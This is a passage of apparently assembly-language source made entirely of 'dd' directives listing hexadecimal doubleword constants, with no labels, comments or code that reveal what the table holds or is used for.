7B2F3F5Bh, 98A07525h, 11EC61Ah dd 7F4E6EC7h, 3C7EDEC6h, 54442407h, 1EFEE63Eh, 1E5262Eh dd 6C4B1208h, 891E3E59h, 740B5D8Ch, 54CF3061h, 19AFB68Bh dd 0CAA6A956h, 0A22B92C2h, 739680E4h, 6F6B6D8Dh, 0CDE93365h dd 0C5F5F973h, 0A52883Dh, 304CC44Dh, 1EA74996h, 98884124h dd 9FB17562h, 86886B9Eh, 0B1B4DEC1h, 20D0920Bh, 404A3370h dd 3499986Dh, 0CB1863ACh, 8B8579ABh, 300273A0h, 7D28B9FCh dd 29FD563Ah, 6C34BA06h, 7E2BED07h, 27E8BC68h, 0F376EC5Bh dd 0D8DF09E1h, 0BD925A04h, 0B85FF578h, 0D15052ADh, 0DA24E811h dd 5C1932B3h, 8F46E47Ah, 9EA90308h, 0BA871F0Bh, 534F0464h dd 0C66671AAh, 9EEC268Ah, 49DE740Ch, 0B5019845h, 8BEFF964h dd 7761716Bh, 9B793834h, 726C9653h, 0BBB3010h, 0A5BC9C87h dd 6D20200Fh, 0F42AD638h, 357AD9ACh, 50AA43CFh, 14166E8Ch dd 383A151Eh, 6F2B0E1Ch, 2962C862h, 81CD3ADCh, 5AFFAD8Fh dd 0D7AC54ABh, 0CCEBAC62h, 925D9D97h, 0E7D8FCA8h, 0E5938362h dd 95E0CD06h, 0CB600056h, 4A80D2E1h, 0E84F1499h, 86D748FAh dd 238B1B76h, 19DE65EBh, 8F4E675Dh, 0D2E6DA20h, 5496D2D9h dd 0D85F2A65h, 0ACEF6682h, 72E0D626h, 9AF71A6h, 3832757Eh dd 0E2B995E6h, 63D04FA8h, 54CC3A7Ch, 675302D0h, 7CEA6925h dd 0AF421597h, 0D9F63653h, 2197E13Bh, 2D13A20Ah, 6F5BA0Dh dd 1C60B274h, 79962A48h, 0E0014AF7h, 7FB7D47Eh, 57973B16h dd 9197E1C9h, 761B33D4h, 43A948BAh, 0AED3FFC9h, 0C860F2C3h dd 75590D4Eh, 0FB8ACE6Fh, 6ADBC747h, 0B59CB904h, 0D4210F5Ch dd 0C46D9FCCh, 0F156D1C9h, 84E23356h, 5AC74AB3h, 23F01C39h dd 0D190CE79h, 14998948h, 78596067h, 0C642BEEAh, 91797B80h dd 0F91141CFh, 3712B86h, 0D79B978Eh, 0B5FC3CBFh, 6212617Dh dd 770E4D7Ch, 0CD1AC7CAh, 53043B9Fh, 3AC7E742h, 1CAB3F21h dd 0A1114E50h, 3943B222h, 0C3500BB0h, 12E9FE23h, 577B5435h dd 6499D412h, 39781332h, 0FBD10E01h, 3F59C797h, 203396A0h dd 1CE7F237h, 0A6B98174h, 0AFC9D93Ah, 0C66EFCE6h, 40731FDCh dd 0E4AD3C52h, 4985F8A4h, 12B6A8C1h, 5E0ED3A6h, 6ABD0193h dd 316128DFh, 9648169Ah, 4DA8075Fh, 0CC740CF6h, 695CFC6Eh dd 0CB137840h, 0AFA7B1A9h, 0D16EA728h, 269D9207h, 4754D625h dd 0F440A88Fh, 0CD7CA2C6h, 94EB0F5Dh, 3E17D3D0h, 0E4D618D6h dd 0B3526893h, 0AFDFC573h, 577E40F7h, 0CF98D05Fh, 89DB2014h dd 0B66BF6A0h, 8FA10F85h, 0FA6C388Ah, 0FD0B9F4Bh, 0C5AF0188h dd 0B103AFFDh, 748B4E06h, 85E02B3Dh, 8472CDFh, 0CAE3125Eh dd 21CC7D1Eh, 5740CCFAh, 48DCF73Eh, 56E97760h, 0FC9EA28Dh dd 0B5FCA9A9h, 0C14DD436h, 50CCDDA5h, 8ADF6615h, 3869E722h dd 0D47C2F42h, 21EC37C2h, 0ECD55BAAh, 0ED0E5BCDh, 0C9CE438h dd 2238E061h, 70455426h, 1D0EA070h, 960FF6BEh, 4CE4F354h dd 38928BE9h, 7D499C9Bh dd 0E7E1FBA4h, 0BFBFA3EDh, 2913926Fh, 201BA612h, 6F88718h dd 9FE2EC19h, 5174E73Eh, 0CAEB5548h, 184501BEh, 0FFA978AFh dd 5D4BFC20h, 1B1F976Dh, 5D7C2EDDh, 22D0C6A5h, 0C2175A17h dd 0AB2D687h, 54897E47h, 0DF677EE7h, 710C62ECh, 7014CC1h dd 0D31ABB57h, 4A35D056h, 0A72CA4ACh, 0D592260Ch, 0D2B767A6h dd 1A3FCAD3h, 0DAE1CF30h, 2DE7111Ah, 0DD958446h, 3820A69Eh dd 94F55585h, 998AF33h, 98556E28h, 0FDF2846h, 86617CF6h dd 0D112E5BBh, 0F120656h, 0F2C46F87h, 1B644616h, 0CB316DC4h dd 0DEAFDEBDh, 0ECA10872h, 0B6B8F62Dh, 0D4943500h, 7E869CACh dd 0BDF18821h, 138FC05Ah, 0F9BEC754h, 0B5D31323h, 55E60320h dd 7E0495A0h, 0D1143E8Bh, 7E8456B8h, 0C1187FC1h, 0D6CAD036h dd 0B619F946h, 0E81513E0h, 0C4F48D3Bh, 301987CBh, 5777AD63h dd 0B1603FE5h, 16CFFDA7h, 0C0A41D0Ch, 0AD23441Dh, 0EFBD6BA1h dd 73354B5Bh, 0B30A9B26h, 0E7EC9CB6h, 94BC988Fh, 660FAFBCh dd 518299B9h, 5818719h, 965318FCh, 7305BF1h, 6CFB0220h dd 0BC0953FAh, 0FEB81551h, 0EADDF45Eh, 0C9B6C2D5h, 179435B1h dd 0C7417D82h, 9781BBA1h, 0F30FDD7Eh, 813C0F07h, 0AC8CFBB5h dd 9344E38Bh, 0C0FC5037h, 0A18E2E21h, 25343D68h, 118B057Dh dd 6EE3400Ch, 83D945F7h, 65796B6Fh, 29823372h, 0EA5EB11Fh dd 0A2B89259h, 1E1B0CE5h, 0F25582B4h, 308D6F26h, 4189BE04h dd 17E16887h, 0C8589B20h, 4D5F36B6h, 12DE8912h, 258AAFCDh dd 58BB3269h, 618DF130h, 1FCCA464h, 293B47F8h, 914E5365h dd 2C4EDB88h, 18E59444h, 30ED43BCh, 73666C91h, 0E3C675DCh dd 340087A7h, 0B1304DEBh, 2261004Eh, 5786F772h, 0E8F70A7Ch dd 8CF1F56Dh, 0D76ADF5Dh, 6FDC287Bh, 0EB04362Ah, 6971D35Dh dd 22240932h, 1E0D0EDEh, 5FCB867h, 6C989883h, 419DF080h dd 0E0872A9Ch, 0BEEBAC27h, 0EC4255F2h, 0B7222099h, 239F327h dd 2D1D8D31h, 744BC79Dh, 3E677D57h, 0E60490BCh, 836A6759h dd 8434CFE5h, 6B63B96Ah, 267DE518h, 3BB16101h, 0B02C89Ah dd 0A1DE4515h, 482351CFh, 64C8E4DFh, 5B54D5DDh, 10C381E5h dd 4DCAFDAEh, 0F08726A1h, 43524A14h, 86422AE3h, 9398535Ch dd 49A2B0DAh, 0CCC0CD02h, 176C91D6h, 0EAA1A7DAh, 184F8593h dd 7D3EDA5Fh, 10E5D3FDh, 0F3C31E72h, 2DAA7DFFh, 5AD3BD25h dd 0F9FEE76Ah, 34389FBEh, 0D8858216h, 0D8A059A5h, 0D0BFDC53h dd 6156957Eh, 1D183541h, 0B1F07544h, 33D52011h, 77B37C30h dd 560990D2h, 4A7FF517h, 310ACC98h, 2EEB4822h, 7CCD0AD5h dd 2D44B0E9h, 5BEA0D3Dh, 8BAB82CFh, 0BB1C1ACFh, 3261A57Fh dd 699200D0h, 0C9A9D843h, 2DFAD3E5h, 5F5E8781h, 0FA68D4E8h dd 0D5ED2F85h, 0BEE01A88h, 6DA7504Fh, 0F6F88809h, 0DBE53C1Ah dd 6019AEBAh, 10BC9A82h, 0F076FABAh, 1DC802C2h, 0BDB7DFC7h dd 0E0E5E003h, 50278D23h, 0FA562830h, 81B31377h, 8C4ABA71h dd 814F166Fh, 881DD56Fh, 0D98C33B2h, 4A93E5Fh, 2CE72A59h dd 0E2BA6AB8h, 0F1D0524Ah, 0A3B8ABD3h, 0F37045EEh, 115695DBh dd 8A6CF80Fh, 8A457E3Fh, 524C2172h, 0E889138Dh, 0A492033Bh dd 0A6331C3Ah, 0AFF62AC9h, 0D8798C09h, 1E21CA4h, 0F1128FA2h dd 954D795Fh, 0C5769635h, 397B84C5h, 9E4001A8h, 6F6F0E62h dd 0BA588FEFh, 7C1346F3h, 0C807B243h, 4DA11442h, 0B573C4A3h dd 29798F6Fh, 4D825B33h, 0F2B5DC27h, 0E371BA76h, 7E1ABF13h dd 1F36B880h, 3245211Dh, 6E14DC82h, 4A06D580h, 0A86F92C3h dd 0CC114A83h, 0A05FC660h, 1EF4B26Fh, 3129B80Eh, 0AED1AC38h dd 0BE0BE948h, 360F511Ah, 0E7AE0ABAh, 0C6317E47h, 6607F165h dd 4B7B0DF2h, 0AD045282h, 44EB7432h, 0EE12A102h, 8AA4646Ch dd 0DC755997h, 0E6958AFDh, 0E89C5B49h, 8B14A257h, 0CE9C2905h dd 9944B97Eh, 1C4412Ch, 0C3C245A3h, 1AADCC57h, 6B05D20Eh dd 70A33A2Dh, 8D041918h, 4E539D1Ah, 5E01E0ABh, 0E90A2D62h dd 0AB4793D2h, 452E2185h, 6E61B76Fh, 0CEE3EDCCh, 3314AAC2h dd 0FA12D619h, 0A3F47195h, 40D7D272h, 38979F74h, 7649160Dh dd 0A98A0F2Ch, 54426A0Bh, 1A58A766h, 0F333DFDCh, 81AF9873h dd 40578C2Fh, 4F8C7DC3h, 8EEC3913h, 510B9C2h, 0D82C2B7Ch dd 745ABD32h, 1EAF2F34h, 7E60394Ch, 5DB4DA3Eh, 6FEA0557h dd 0D33CFA5Eh, 0CA0970FCh, 9645A0B0h, 0B94EF589h, 0D5A58C26h dd 57A07CD6h, 0AEBE23E0h, 3913C3ACh, 730241EAh, 3A4A5442h dd 0F0BC5EC5h, 9E03FABAh, 842391h, 38EC9698h, 0D94EC934h dd 48CDD16Eh, 5717572Eh, 5568BE6Fh, 1DB20174h, 6F11058Eh dd 0C38C1A76h, 0FBA56127h, 33B94971h, 8E27D701h, 8347C1F2h dd 66C79146h, 0F784760Bh, 3601D8CEh, 40ED4A83h, 0C6A926Fh dd 1B02EBAh, 7D8851B4h, 0C69F5E28h, 0BC8BF3B6h, 0DCE0DCE6h dd 0A95CCD3Eh, 2204E06Ch, 0C4ED1CE0h, 43BCB9F0h, 858134E2h dd 18F47A69h, 165F06FAh, 0E7302296h, 3C504A4Fh, 0AB3DC5D7h dd 0F2F9AEFEh, 6FF8B2ABh, 0D8E448ECh, 3DB11878h, 0CC05384h dd 72472A91h, 48CB9FD2h, 6A18C9DEh, 67444C51h, 0FC3B533Fh dd 0C4882E84h, 3EE6E336h, 4F8F905Ah, 0E56CE3A1h, 0DA0934CEh dd 52586E10h, 4220C54Ch, 9B201CA0h, 0AF030F95h, 7F156F4Ah dd 19BDBD58h, 0BFDB37B4h, 0A58A2023h, 2564AC6Eh, 0A38BA9F1h dd 8B3DF0ADh, 4218B3F9h, 0B8FEB65h, 8F4E160Ah, 1016F239h dd 2E44AFC9h, 9BADFACBh, 78C51027h, 0C1AA23ABh, 2034EDABh dd 5BFD3FC8h, 0D4B77FBFh, 20CA002Fh, 5F04D503h, 62F2B0DAh dd 0C7BA9495h, 0CB3EAA93h, 289A2620h, 65FF30ADh, 7975D8C7h dd 13F4A1F4h, 0A4116331h, 9D093939h, 0D5A57116h, 70C605F0h dd 0A6143E49h, 56618DAEh, 74472778h, 0E6832962h, 0DAAB6775h dd 13859D62h, 0D1DCF59h, 8A0BBD14h, 3B28D897h, 0DCA89FBFh dd 3E80C764h, 0CBDEF4D3h, 0D75F9C44h, 0EC016C75h, 0E9791FEFh dd 0D0733084h, 0A791C8Ch, 63857D46h, 0DBC9C0E4h, 9209D3A5h dd 960EBA66h, 32AD913Fh, 0EF16DE19h, 0AF494A8Ah, 5B654021h dd 0B0FE70E4h, 3A07D619h, 0C5A0D5E9h, 7B3D7D2Dh, 70FFDB3Ah dd 31B2AD8Dh, 46EEE880h, 8E572E85h, 576DBE02h, 0C0A2829h dd 0D389597h, 5BCA59E4h, 0FBFF94D0h, 3DBC97BBh, 5E1C3913h dd 0F02FE85Ch, 0B9099653h, 9285338h, 6240F742h, 0E0D0CDD7h dd 68C2EE5h, 0E8D735Ch, 1F3063E8h, 0E42E11AAh, 0EA29503h dd 6A2C251Eh, 0A6BC93A9h, 419440C8h, 4C9B3F8h, 188AF7CBh dd 4D6E9CD4h, 3AEF2CBBh, 7CC91E6Bh, 51AE5D01h, 21798340h dd 0F1C203F4h, 7EFB8D04h, 0C9F4823Dh, 330B7170h, 0BD75FED8h dd 2F7018B8h, 672AA1C1h, 924CF0E4h, 0B28C8B2Eh, 0DA2C2DA3h dd 0BEBFF579h, 0D48063C8h, 0CA464CEEh, 9ABE3600h, 0E97C8ADBh dd 81B1C6B4h, 30D806F2h, 78ECF254h, 1183596Fh, 91B91483h dd 41469329h, 0FB1CFB6Ch, 89C12D13h, 28DF2A59h, 53616637h dd 0E9113BC0h, 3E836A6Fh, 662540DAh, 0C1B73DA7h, 9AD59DD0h dd 75699151h, 2CDCB0AEh, 6FC34CF1h, 0EA22A501h, 49033370h dd 6484685Ch, 0E0520091h, 0AA9AD99Ah, 44293D8h, 638F7050h dd 53CCBD7Bh, 0F1CC5D3Fh, 0E3EEAE74h, 0EFF3BB64h, 20613829h dd 0F25DE780h, 8FA5822Ah, 0F5D83F44h, 60135C49h, 8187025Bh dd 0E6E59236h, 23D52334h, 0AD0647B6h, 5D33885Fh, 0E785FFFAh dd 195D023Ah, 6BF8BA3h dd 0C541CAECh, 9A650BEh, 759FDB6h, 44C4D0EBh, 0D604632Fh dd 488240ABh, 7287BEA3h, 0B2664BE6h, 0CAD67AD2h, 4093F9DFh dd 0FAC5CA1h, 0D65C766Dh, 3DF71F84h, 899A92AEh, 0C87171CAh dd 74386376h, 0F21F1AD3h, 5ACD2E4Bh, 5D283B99h, 9BE33DF7h dd 425223EFh, 0A38AB71Bh, 7ADA5DF3h, 0B1061BABh, 57FD9632h dd 3618AC68h, 0BF44A877h, 0AF5C80A4h, 962B70E4h, 0EA03AF88h dd 91554E1Ch, 0EEFAB818h, 0C65B593Fh, 99522D02h, 0DCB7E2F2h dd 0DC5A7EE6h, 7F70A944h, 0FD59E340h, 7A501614h, 0CCF1A8CCh dd 658F8491h, 0ECFB5323h, 911367A4h, 9C5B0C1Ch, 71D9920Dh dd 0EFF8C320h, 0D8A0F7FBh, 30DEFFA9h, 8A70071h, 0B0CDB86Eh dd 3B33F63Eh, 0FBAF25C6h, 704E1CC4h, 58081ECh, 0ED23CA6Ah dd 8760065h, 90A85A69h, 221CD31Ch, 0DBD2B88Dh, 2E7A2088h dd 8AE92E19h, 96812A8Eh, 6B4A90A8h, 0F7C0D08Dh, 0C71A0925h dd 0F0826C5Ch, 0BB119AA9h, 0B007DD19h, 98A16357h, 0D36C7E5h dd 0AE32BA4Ah, 0DBDDB941h, 868B664Eh, 0AB3F7559h, 0F0121519h dd 0BE8DB2A2h, 70C5C68Fh, 0C1F8FE69h, 7B270B31h, 0FC30057h dd 9113029Bh, 93AB5D8Eh, 0CB232068h, 0B76D22E9h, 464E4E03h dd 701B3732h, 2C9A02ECh, 67652B60h, 69FEBB0Eh, 0D050DB5h dd 7FF14600h, 88632B83h, 357AA03Dh, 25382B1Ch, 571E54F7h dd 0FEEB3DDBh, 4D369F02h, 62377034h, 9EB8268Ch, 0A31E6117h dd 6F730C3Ah, 0BF6C729Eh, 4CD9ECC8h, 9E866B08h, 6C11A771h dd 0D37E2863h, 0E68C16B5h, 0D0433A21h, 0BD6AA912h, 0A2DDBFA7h dd 0C29A3F6h, 8C502188h, 0E821B9F7h, 0D729AA24h, 0AF2B0903h dd 0C414991Ch, 1C41A56Fh, 99314992h, 9DDE1347h, 38DD2C7Ah dd 0CD5A6AFEh, 1C941DBBh, 4EB64CBFh, 0DFF193EFh, 7CE4B65Eh dd 0D36AEE3Bh, 8FF98354h, 0BDE14CCDh, 0A196279Bh, 3C4EC695h dd 300DFEF0h, 0EF070B2Bh, 2937A415h, 300EC2FDh, 564BEECCh dd 1BD8939h, 0CC48B4B5h, 3898FCD0h, 41F1999Ch, 9FA6E9DDh dd 0A4566C03h, 83D4A277h, 0C7DF03CFh, 0BF80BC4Bh, 11D90FF4h dd 87BAAEF5h, 2BC09820h, 0EE54CB6Fh, 2A02DB13h, 0DAB9B7B9h dd 338BB304h, 0EAAAAF04h, 0E2CB3C81h, 75CDDAE5h, 39F36C49h dd 0ABF165E6h, 79EA17FBh, 904A4295h, 1DBB449h, 4F59EECAh dd 0AEDA25D3h, 0F4FF5A7Ah, 0F52AF6F1h, 629E3D9Bh, 0FB4ECFh dd 0CCE206C9h, 0EC624D41h, 3E5299ABh, 14DB6539h, 0CDCB8F50h dd 62B95BBh, 5CB44587h, 3D881E4Eh, 0C71D8E1Ch, 2FD76A98h dd 47C2D203h, 0A500BC2Fh, 0A532663Dh, 0A56B7CFDh, 8537D4D0h dd 0CCD910ACh, 3A33CA6h, 0CA300DA9h, 8C6CE85Ch, 7FD7691Ch dd 20EC1C71h, 0A3A0D583h, 4DEE4CADh, 4650E900h, 6503DEF8h dd 0E89FFC35h, 0FB38A96Ah, 1649DA55h, 1EF12800h, 4BE2E77Fh dd 0F70EAF7Bh, 994981CAh, 0E11CF399h, 673FF1CEh, 3FDC51E2h dd 0FE68FE55h, 60E4D25Fh, 58DC10CDh, 0A6CFA16Ah, 0E07D52D8h dd 0FD168387h, 90DC0155h, 0B95C64EEh, 1E9594ADh, 0A7AD4C1Ah dd 0A71DB4C3h, 0BE4D7AA0h, 0A02492A6h, 3CC3662Bh, 383735C2h dd 0BD9F9462h, 10F81E05h, 7E72D69Bh, 94375276h, 0D3D66FABh dd 67A9BC4Eh, 679211DAh, 0A913255Ch, 27D2C2DCh, 88593895h dd 0D6A5A22Fh, 5EAB391Dh, 0FEBDE39h, 0B1F75C8Fh, 57416B28h dd 9827C403h, 7D6EE38h, 786D957Ch, 0F69D3561h, 0B7FDC060h dd 7B38071h, 0AEFA1E0Ch, 26847744h, 4623FB80h, 3FE42672h dd 4B97C126h, 0D2F9D601h, 0ED23A27Dh, 0BC13A7D9h, 0D9EFF884h dd 0DBBD2B6Ch, 0E7EF5089h, 4470BA79h, 0CCF347A8h, 0FFB5191Ah dd 1FEB71AFh, 0CFC7BAEBh, 5BD6289Eh, 86E8491Eh, 752484ACh dd 0F611B4BCh, 0F59AC4E2h, 0CD6C17D0h, 0FF92E08Bh, 3F37E9F6h dd 6655EFAAh, 0B109AF61h, 8A19DF8Ch, 86319B1Fh, 0FB715F4Ah dd 9B7F13B8h, 59B4569Ah, 4B074BFCh, 4961057Ch, 5119C54Eh dd 12E6843Fh, 93C067FCh, 0F4672375h, 0EFF78BBDh, 0AAE2AC28h dd 3F02820Ah, 0B3F37BE6h, 874395FBh, 0C2FCD768h, 0C87873C0h dd 0EA8B8FBh, 0A731B97Ah, 20620FECh, 0BE853701h, 92FB89D1h dd 8B4428A5h, 22D0B22Bh, 3B7CCF36h, 8037C651h, 58974B35h dd 0A7960FD8h, 0C574DCA4h, 0E8B6D487h, 51F30116h, 6883D14Ch dd 13D6A852h, 0F13804B8h, 8A4C4021h, 0C7CF5E7Fh, 0BE21094Ch dd 0EBF1837h, 0F953F23Bh, 179D228h, 0F71FB38Fh, 0CBF6965Bh dd 1395B486h, 811DEF2Eh, 0E5DCDA45h, 0F57B6421h, 64AD037Eh dd 0AE852D4Ch, 10487E01h, 6450D8D8h, 91FE03E0h, 1203EBC2h dd 3573441Fh, 0CEAF225Dh, 45D2D5A8h, 639C535Fh, 240016CAh dd 9E83AA62h, 0E40D42F5h, 5DC95E8Dh, 50887C3Fh, 0F42E21D8h dd 6470F52Eh, 0EF2D36Dh, 6C634C84h, 149C0CA8h, 8DEBD65Eh dd 93C674ABh, 0BEA1E608h, 29066D30h, 5494F92h, 268B5F79h dd 7C3067D9h, 1D38AEC5h, 0AD1C7741h, 0B4CA4C20h, 0A93B888Ch dd 0B88C6E75h, 0CBA751F1h, 71EEF0DAh, 5D714F8Eh, 0CAD7665Ah dd 0EFF0065Ch, 0FAB5A9Bh, 0AD887543h, 0E9C3DEBDh, 6FE52F5Bh dd 0C468012Eh, 0B5061ECDh, 0C734EC1Fh, 0F020781h, 0F6CB2A7Ah dd 38E37C52h, 618DC067h, 0BACF218Dh, 75AA310Bh, 8B30D84Ah dd 75B1F5C8h, 0D7DFBB94h, 0B666AB54h, 0E8A7B32Fh, 37B99D33h dd 83B6770Dh, 0DCDB4A46h, 7ECC64Ch, 5464FDA1h, 0E0005D69h dd 360AD378h, 3EFD272Bh, 5C1BE8C1h, 0D98297CDh, 0AC8FA6B5h dd 4B40CC4h, 2880201Fh, 2C795D87h, 0FE61BA97h, 0AA4B3A37h dd 8724AF90h, 0CA1CF733h, 2F6F7242h, 0D31B6ED6h, 0F8EB7A74h dd 7312B77Ah, 9B0DFB63h, 0DF58D266h, 0C6122ABCh, 0FD6F4712h dd 0D96A5432h, 86A1FD24h, 0B967B2A7h, 33F934CEh, 0B1A37A51h dd 5473777Ah, 94884BCh, 9B37EC44h, 387D79CFh, 5A3640E1h dd 0F1EF4DDEh, 0A2877F28h, 0DB9E14D2h, 0A66B8EA9h, 146ABC1Ch dd 5FA039ECh, 9813643Ah, 0CE0BC921h, 714317CFh, 291EDD34h dd 4B4CE1EDh, 6FCB31EFh, 1D5F9C71h, 4500B42Fh, 0BAC5608h dd 0B04E7973h, 85FE7774h, 61BAC80Fh, 761E9774h, 4D4EDC5Bh dd 340A3F41h, 13EAD924h, 0CCB0A7F0h, 440D8018h, 7765F4B9h dd 9103C3A3h, 5998FC54h, 427EDF19h, 12574C42h, 5B29CF4Eh dd 4FD4DD82h, 0B64A3064h, 0C8BFAF9Eh, 0E3FDEF50h, 1A995EBCh dd 698BD324h, 3F4C4AAFh, 1AFC32B1h, 0BF9B3821h, 6C391D38h dd 0BEB93660h, 0D57059AFh, 0EC983562h, 0CB35465Bh, 59A979BBh dd 0D394F7C8h, 0B1C3EDA6h, 61543099h, 0A05439EBh, 7AA2CDF1h dd 8EA0E22Dh, 0B5995057h, 401A3B3Bh, 0A2F0B190h, 3952BDEh dd 0DEBB29C0h, 461F2CCh, 5530BA8Bh, 0DCAABE2Eh, 7EDDF121h dd 0AAFB5ED0h, 4E4E5FC5h, 6E9C7634h, 1CB0D3F4h, 1A5BDAADh dd 0B9557C5Ah, 17BB357Dh, 4A527B5Bh, 9E974B9h, 0F56F899Bh dd 46C17C2Fh, 0D9631C6Fh, 0B1877B71h, 0D63E8963h, 887E50EBh dd 99022D60h, 5507386Dh, 99E3E211h, 0B4369FA2h, 208ADB04h dd 0B44508CBh, 0BDC81AFCh, 0D6B8214Ah, 0E615E400h, 0CE4BFE10h dd 76B7156Fh, 6638A47Ch, 0FAD77D89h, 7CA1874Dh, 3B11F66Dh dd 0C591849Bh, 747795A1h, 5CBA2F91h, 9838E0FFh, 0A35B3578h dd 22587D2Fh, 0C368BB09h, 3C9A9BD3h, 86DD63B9h, 8C621EA1h dd 795CD54Ch, 6627C24h, 0E9B6B409h, 4ADDDD6Ah, 80DFD672h dd 88FCC6DBh, 0F15D7249h, 2380BFAEh, 4F16C6A3h, 0A82D90BDh dd 176213AAh, 0AC3D87CFh dd 0D1109D99h, 2A13E022h, 0E4C30416h, 645ABFBDh, 0DD791420h dd 2EF9437Ch, 20A3FFF8h, 0F23F35F9h, 91FE8FB0h, 63C88986h dd 98B2B729h, 8A8B3368h, 1D4AF686h, 3A4EE4A5h, 689B1B21h dd 7A89E6B2h, 113D25ABh, 0FA980F54h, 7C1FF78Ah, 0AA32ACBh dd 0EBCFC7C7h, 0AC88E3B9h, 4AF327B4h, 91346205h, 273D130Dh dd 255E626Ah, 4B47D2EEh, 0F517264Ah, 0C6ED0598h, 29158E91h dd 65621FD0h, 859FC2BFh, 0D154CAFh, 8F685h, 0B0E7307Fh dd 4E863885h, 2471C85Ch, 0CD7E7F1Ch, 0BEFA6B37h, 0D48216CBh dd 27960810h, 0E9D82DFDh, 0A448A860h, 3DD267E4h, 3E541C66h dd 8C8B7B0Ah, 85881C0Ah, 95065CACh, 0DCE96D9Eh, 0EEBED107h dd 0CCB2A74Ah, 9CE34281h, 99DA5F72h, 41569A08h, 896F0A4Ah dd 0CE31FBBCh, 0E40DF92h, 0AEBCEB8Ch, 3D61CDD6h, 3DCA693Eh dd 1B11DF5Eh, 0FA7D3244h, 0CD81D4BDh, 1728207Ch, 8290AFF1h dd 1910EB3h, 0C5E4886Ch, 9908D330h, 36350141h, 6EC9D32Bh dd 0E8359138h, 3835C5ADh, 75E93134h, 5D888F8h, 0A99CA056h dd 0E9E2FD61h, 0DA311A8h, 84B78722h, 0CAA771C3h, 51F7EB38h dd 66D8B43Ch, 485EF1CDh, 2EB00F04h, 34356BA2h, 0B9004C35h dd 3390431Ah, 0E6EE433Dh, 0F42A46D0h, 39CB44B3h, 2694AB34h dd 0E7E13A93h, 0FA614519h, 0FFE3A79Ch, 0B1B6CF92h, 364EA106h dd 0A5425642h, 0B3A8890Ah, 339AFFEFh, 5757B631h, 0D6ED2EF2h dd 0A30D6FAEh, 5AB419FFh, 0B2246F97h, 8594848Dh, 80ACB2CDh dd 188742Bh, 0DA11AF02h, 5B11ACDEh, 5428DF34h, 0EE3AEC3Bh dd 0EBE13E65h, 0DD298422h, 0BA53963h, 0E867B3B8h, 6905E44Bh dd 0E769D81h, 162F2400h, 1727857h, 0A1AB45h, 4CCF7238h dd 0AD73F5B0h, 80EC9ECFh, 831F53F0h, 0C1E4A373h, 31375019h dd 70C81D92h, 9B290219h, 0D23A9E82h, 153BF26Fh, 0F6307C4h dd 3CA438B1h, 64F85328h, 1519F00Ch, 0E08A3C54h, 17702BC9h dd 9C3000Eh, 0FA358C70h, 0FBE3A610h, 0ACC8B20Eh, 0D351C2h dd 0F98033FAh, 14E08552h, 90BCBD54h, 1EAD2DF6h, 8BA14CD6h dd 2FD952C6h, 3820BAC4h, 0EE67FE93h, 0E7D7F80Ah, 0E840F9F2h dd 0B1DF4B46h, 9E7AD1EAh, 65970AE6h, 0BE643D0Fh, 0F59C355h dd 0C974DDF5h, 12BAD228h, 45EAC9F4h, 7C489154h, 5E06D71Ch dd 8AACB12Dh, 3968E185h, 2A564F81h, 147413AAh, 0BAFDB05Dh dd 68576615h, 35436AC7h, 5404D4C6h, 48C97F49h, 4A7C7E60h dd 6DE4F058h, 0AEBBCF68h, 0B5D1609Dh, 0FF18096Ch, 0A146DC6Dh dd 0F0F159F1h, 0A029D507h, 6CD8C59Eh, 292F34B7h, 1A5E8124h dd 7ABBB28h, 54618CC7h, 622DEC5Fh, 0C8F7BA73h, 831CCA3h dd 0A5CC5028h, 0BBBF6D54h, 5F99DDE4h, 16EFA9B8h, 0BBA837A4h dd 45165979h, 1BF775AEh, 8EC9559Ch, 919C2894h, 64D6329Eh dd 9CA20503h, 930C7370h, 0E78B0D4h, 4A7EA37h, 15435BDBh dd 0C5E232A4h, 5C1422AFh, 0FDD475FFh, 2AC60330h, 0F7182A2Ch dd 0B3A9856Ah, 0DBAD5AFBh, 0B11737E2h, 17C66D91h, 0DD842DB6h dd 7149722Ch, 29172120h, 8B27A737h, 138F23BDh, 0D6566C57h dd 45337EC1h, 7AC8EB0Eh, 8044BB09h, 77F53BDDh, 0D720A601h dd 7997C1DAh, 21D90AE0h, 94BFB655h, 94A240F3h, 0E9BCB1F9h dd 0E1BC4F66h, 2F192AD2h, 51FB893Ch, 0B75D3894h, 0D32CB55Dh dd 56894CB2h, 9B8A74C5h, 9C88901Dh, 0DD104512h, 242AB977h dd 715EFABBh, 3FBA7F54h, 0F59CD0B4h, 0AF1DD7E2h, 0FE642FCEh dd 9D7EB176h, 94DAB05Eh, 0FFC6908Dh, 0ED291AA1h, 18AF60EFh dd 844A59FDh, 0CDF7A03Ch, 7EB85171h, 63A4B93Fh, 0FD693C62h dd 74B5C641h, 0CC8BD9D8h, 7081F740h, 5046B69Ch, 0C38365D0h dd 0DF893F7h, 0D9B9DA9Fh, 7906788Bh, 0B9744E1Ch, 0AAE12577h dd 8D9981B6h, 0C6AC18E2h, 1ABE48C5h, 96437EB8h, 77A2A74Fh dd 5F6A41Ah, 0B1561CEEh, 0F2775CC7h, 3374E446h, 2124F58Eh dd 1D7B9287h, 0B8B5FEFCh, 610BCA91h, 83EE44CAh, 9F426561h dd 2690B754h, 2047EBBCh, 0BBC54F05h, 0DA8A0BFCh, 3FB2BDF5h dd 0B551D0CBh, 3AC3BF7Dh, 3A8F26A5h, 408FDD4Eh, 44526DCh dd 5C1FC3EFh, 0AD9A46A6h, 1AA6A080h, 0F68547C3h, 9930E5E5h dd 12FBA717h, 0B1FD7374h, 841F694h, 0C5F18F75h, 0FA6605B0h dd 407C6CD6h, 0B64A4944h, 0CCE19138h, 7741047Fh, 206A5556h dd 2EA0D80Dh, 0EBE33556h, 4CC2B0DBh, 8F445B5Ah, 54A1F521h dd 6BDE1A93h, 88207F47h, 638D33D0h, 0D1366825h, 5943D74Bh dd 726E802Ah, 8CA727F6h, 4F6D2578h, 1C5C23A8h, 0A190EBE1h dd 44022ABh, 0D38386A5h, 0A877B07Bh, 46D82C1Bh, 28DEED6h dd 6C31B4EBh, 0B2D940BAh, 9BED30F6h, 0B12C1DD4h, 0D4998EC6h dd 0A9E98206h, 199CBF36h, 0B320535Ch, 4DC732B4h, 2529DC25h dd 979B6826h, 0A2AABC9Eh, 0C740BE25h, 568761AEh, 0C37C7F37h dd 5C772FAAh, 0DFC4C57Fh, 2868FA50h, 8E19DAEEh, 8103250Ch dd 0FDCCC12Eh, 94A2448h, 4ED3A3FCh, 0C81D89E7h, 579BF208h dd 0AF2AFB9Ch, 1CCD320h, 0BA2315EBh, 3799DF47h, 303EB9D8h dd 0B64C0B81h, 